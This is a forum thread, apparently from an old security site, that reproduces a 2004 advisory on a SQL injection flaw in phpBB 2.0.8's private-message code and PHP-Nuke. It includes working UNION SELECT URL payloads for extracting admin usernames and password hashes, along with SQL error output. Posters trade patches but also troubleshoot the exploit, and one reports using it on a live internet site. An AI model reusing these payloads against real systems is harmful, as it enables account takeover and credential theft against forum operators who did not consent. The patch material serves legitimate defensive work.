hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

JeiAr
lol.

CODE





{===============================================================================
=}
{                              [waraxe-2004-SA#013]                              }
{===============================================================================
=}
{                                                                                }
{      [ Critical sql injection bug in PhpBB 2.0.8 and in older versions ]       }
{                                                                                }
{===============================================================================
=}
                                                                                                                               
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


PhpBB is widely used and very popular forum software, written in php.
Homepage:  http://www.phpbb.com/



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB 2.0.x is written very carefully and securely. But even there can be bugs, which will give to potential malicious attacker sensitive information from database - admin's username and password's md5 hash.

So, let's look at original code from privmsg.php line 189:


********************************************************************************
*****

// SQL to pull appropriate message, prevents nosey people
// reading other peoples messages ... hopefully!
//
switch( $folder )
{
 case 'inbox':
  $l_box_name = $lang['Inbox'];
  $pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . "
   AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )";
  break;
 case 'outbox':
  $l_box_name = $lang['Outbox'];
  $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
   AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) ";
  break;
 case 'sentbox':
  $l_box_name = $lang['Sentbox'];
  $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
   AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
  break;
 case 'savebox':
  $l_box_name = $lang['Savebox'];
  $pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
    AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
   OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
    AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
   )";
  break;
 default:
  message_die(GENERAL_ERROR, $lang['No_such_folder']);
  break;
}

//
// Major query obtains the message ...
//
$sql = "SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text
 FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE . " pmt, " . USERS_TABLE . " u, " . USERS_TABLE . " u2
 WHERE pm.privmsgs_id = $privmsgs_id
  AND pmt.privmsgs_text_id = pm.privmsgs_id
  $pm_sql_user
  AND u.user_id = pm.privmsgs_from_userid
  AND u2.user_id = pm.privmsgs_to_userid";

*****************************************************************************

As we can see, for some reason there is "$pm_sql_user .=" in case of 'savebox'. Funny thing is, that this little bug can open critical security hole to forum. First, let's try this:

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar

and we get error message:

General Error
 
Could not query private message post information

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 2 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 238
File : D:\apache_wwwroot\phpbb206c\privmsg.php  


Next, if we request this:

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT% 20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nul
l,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*

then we don't get any error messages. Now it's time to do something "useful":

********************[real-life sploit]********************


http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT% 20username,null,user_password,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*


********************[/real-life sploit]*******************

and we will see in plaintext admin's username and password's md5 hash;)

And to all PhpNuke 6.x and 7.x users, here is something for you:

http://localhost/nuke69j1/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT% 20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*



Post Scriptum:

I really enjoy reading of the PhpBB 2.x code, because it is written with good style and it's very secure. To all php programmers - I recommend to read the file "docs\codingstandards.htm" from phpbb package, it will help to learn good style of the programming!




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   come2waraxe@yahoo.com
   Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------
shaun2k2
This bitch is nasty, I managed to get the admin md5 hash using the PoC posted. I've created a little patch for this - it's going into bugtraq. This bitch needs patching *fast*.



-Shaun.
JeiAr
Here is what I just did on the GulfTech forums to prevent this kind of thing smile.gif

CODE

switch( $folder )
{
 case 'inbox':
  $l_box_name = $lang['Inbox'];
     $pm_sql_user = '';
  $pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . "
   AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )";
  break;
 case 'outbox':
  $l_box_name = $lang['Outbox'];
     $pm_sql_user = '';
  $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
   AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
    OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) ";
  break;
 case 'sentbox':
  $l_box_name = $lang['Sentbox'];
     $pm_sql_user = '';
  $pm_sql_user = "AND pm.privmsgs_from_userid =  " . $userdata['user_id'] . "
   AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
  break;
 case 'savebox':
  $l_box_name = $lang['Savebox'];
     $pm_sql_user = '';
  $pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
    AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
   OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
    AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
   )";
  break;
 default:
  message_die(GENERAL_ERROR, $lang['No_such_folder']);
  break;
}


I sent this to BugTraq about two hours ago but they haven't published it yet. What dd yu do to validate it?
shaun2k2
Here's my patch:
CODE

--- privmsg.php 2004-03-18 19:51:32.000000000 +0000
+++ privmsg.1.php       2004-03-26 19:51:07.000000000 +0000
@@ -212,7 +212,17 @@
                       break;
               case 'savebox':
                       $l_box_name = $lang['Savebox'];
-                       $pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
+
+                       //
+                       // For some obscure reason, the assignment
+                       // concatenation operator was coded below, which
+                       // allowed an attacker to append arbitrary SQL code
+                       // to the end of the $pm_sql_user variable.
+                       // This is fixed below.
+                       //
+                       // -shaun2k2
+                       //
+                       $pm_sql_user = "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
                                       AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
                               OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
                                       AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )

I've tested - it works.



-Shaun.
shaun2k2
Damn! Now it really does look as though I'm a plaguerist wink.gif. I did set out writing this patch as soon as I saw the advisory though smile.gif.

My approach seems a little different to yours. Maybe mine's not as efficient.


-Shaun.
aapje
phpBB deserved it didnt they JeiAr wink.gif
shaun2k2
Hee, I would say so - let's see them shit themselves now. Eh? wink.gif


-Shaun.
JeiAr
Oh, I see. you just s/.=/=/ ?
JeiAr
QUOTE (aapje @ Mar 26 2004, 08:44 PM)
phpBB deserved it didnt they JeiAr wink.gif

I would have to say yes.

Arrogance++ && Rudeness++ && Denial++ = @Security_Disaster wink.gif
shaun2k2
Hehe.

James, I just basically changed '.=' to '='. Is this not so good?



-Shaun.

PS: Jei, are you on AIM right now?
JeiAr
Yeah, it will probably work wink.gif

And yes, I am on AIM
shaun2k2
Cheers. It seems to work well on my board smile.gif.

What's your S/N again? wink.gif


-Shaun.
Analyser
my site forum just show:
SQL Error : 1146 Table 'lusodemo.phpbb2_users' doesn't exist
... is there any problem or it's better to patch?
BlaStA
Make sure your table-prefix is right. Standard is phpbb_.

btw: Patch of shaun works great.
shaun2k2
QUOTE

btw: Patch of shaun works great.

Cheers, I'm glad to hear it was of some use to someone smile.gif


-Shaun.
[R]
I got only error messages huh.gif

Cya

[R]
niko
oops wrong thread.
[R]
Now, it works! Sorry! rolleyes.gif
aapje
im using phpBB 2.04 for test, but it doesnt seem to work i get this error:

CODE

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 40 AND pmt.privmsgs_text_id = pm.privmsgs_id AND pm.privmsgs_type=-40 UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null,null,null,nu
ll,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nu
ll,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*AND ( ( pm.privmsgs_to_userid = 1 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 1 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 248
File : /home/*****/public_html/phpBB2/privmsg.php
int23h
is this exploit somehow dependant on the mysql or php version? it worked already for me on the internet, but when i tried the same injection code on a locally installed phpbb it didn't (tried all versions from 2.0.3 to 2.0.8), it doesn't even give me an sql error message or debug warning.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.